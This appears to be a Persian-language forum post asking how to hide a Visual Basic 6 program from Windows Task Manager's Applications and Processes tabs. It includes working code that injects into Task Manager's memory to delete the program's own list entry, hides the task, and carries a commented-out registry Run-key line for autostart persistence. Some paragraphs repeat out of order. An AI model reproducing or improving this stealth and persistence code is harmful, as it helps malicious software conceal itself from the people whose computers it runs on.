۰۴-بهمن-۱۳۹۰, ۲۳:۵۴:۴۶
سلام دوستان
کد زیر:
این کد برای Hide کردن(البته Hide کردن که چه عرض کنم!!!) برنامه از زبانه های applications و Process از برنامه ی Windows Task manager میباشد
ولی اینکارو نمیکنه، درواقع این کد برنامه ی مارو از زبانه های applicatin و Process ، مخفی نمیکنه بلکه برنامه ی Windows Task Manager رو قفل میکنه و کاربر میفهمه که سیستمش یا ویروسی شده یا یه مشکلی داره.
حالا این کد:
این کد هم برنامه رو فقط از زبانه ی Application مخفی میکنه و برنامه ی ما همچنان در زبانه ی Process تابلوئه!!!
----
خوب حالا چیکار کنیم که برنامه مثه حالت اول و دوم عمل نکنه،
بلکه برنامه رو هم از زبانه ی Application و هم از زبانه ی Process مخفی کنه،
کد زیر:
کد:
Private Type bkh
flag As Long
psz As Long
lParam As Long
pt As Long
vkDirection As Long
End Type
Private Declare Function VirtualAllocEx Lib "kernel32.dll" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As Long, ByRef lpdwProcessId As Long) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function VirtualFreeEx Lib "kernel32.dll" (ByVal hProcess As Long, ByRef lpAddress As Any, ByRef dwSize As Long, ByVal dwFreeType As Long) As Long
Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long
Private Declare Function KillTimer Lib "user32.dll" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Sub Hide_Process(Name As String)
Dim pName As Long
Dim pType As Long
Dim l As Long
Dim Tid As Long
Dim hTid As Long
Dim pid As Long
Dim h As Long
Dim i As Long
Dim hProcess As Long
Dim f As bkh
Dim s As String
Dim bkh() As Byte
h = FindWindow(vbNullString, "Windows Task Manager")
KillTimer h, 0
h = FindWindowEx(h, 0, "#32770", vbNullString)
h = FindWindowEx(h, 0, "SysListView32", vbNullString)
If h = 0 Then Exit Sub
f.flag = 8 Or &H20
Call GetWindowThreadProcessId(h, pid)
hProcess = OpenProcess(1082, 0, pid)
bkh = StrConv(Name, vbFromUnicode)
pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4)
WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l
f.psz = pName
pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4)
WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l
i = SendMessage(h, &H1000 + 13, 0, pType)
If i <> -1 Then SendMessage h, &H1000 + 8, i, 0
VirtualFreeEx hProcess, pType, Len(f), &H8000
VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000
End Sub
Private Sub Form_Load()
'Hide program from windows task manager: >>
Set Reg = CreateObject("wscript.shell")
'Reg.RegWrite HKEY_LOCAL_MACHINE \ SOFTWARE \ MICROSOFT \ WINDOWS \ CURRENTVERSION \ RUN \ "&" \ App.EXEName, App.Path & "\" & App.EXEName & ".exe"
App.TaskVisible = False '<<
End Sub
Private Sub Timer1_Timer()
Hide_Process CStr(App.EXEName & ".exe")
End Sub
ولی اینکارو نمیکنه، درواقع این کد برنامه ی مارو از زبانه های applicatin و Process ، مخفی نمیکنه بلکه برنامه ی Windows Task Manager رو قفل میکنه و کاربر میفهمه که سیستمش یا ویروسی شده یا یه مشکلی داره.
حالا این کد:
کد:
Set Reg = CreateObject("wscript.shell")
'Reg.RegWrite HKEY_LOCAL_MACHINE \ SOFTWARE \ MICROSOFT \ WINDOWS \ CURRENTVERSION \ RUN \ "&" \ App.EXEName, App.Path & "\" & App.EXEName & ".exe"
App.TaskVisible = False
----
خوب حالا چیکار کنیم که برنامه مثه حالت اول و دوم عمل نکنه،
بلکه برنامه رو هم از زبانه ی Application و هم از زبانه ی Process مخفی کنه،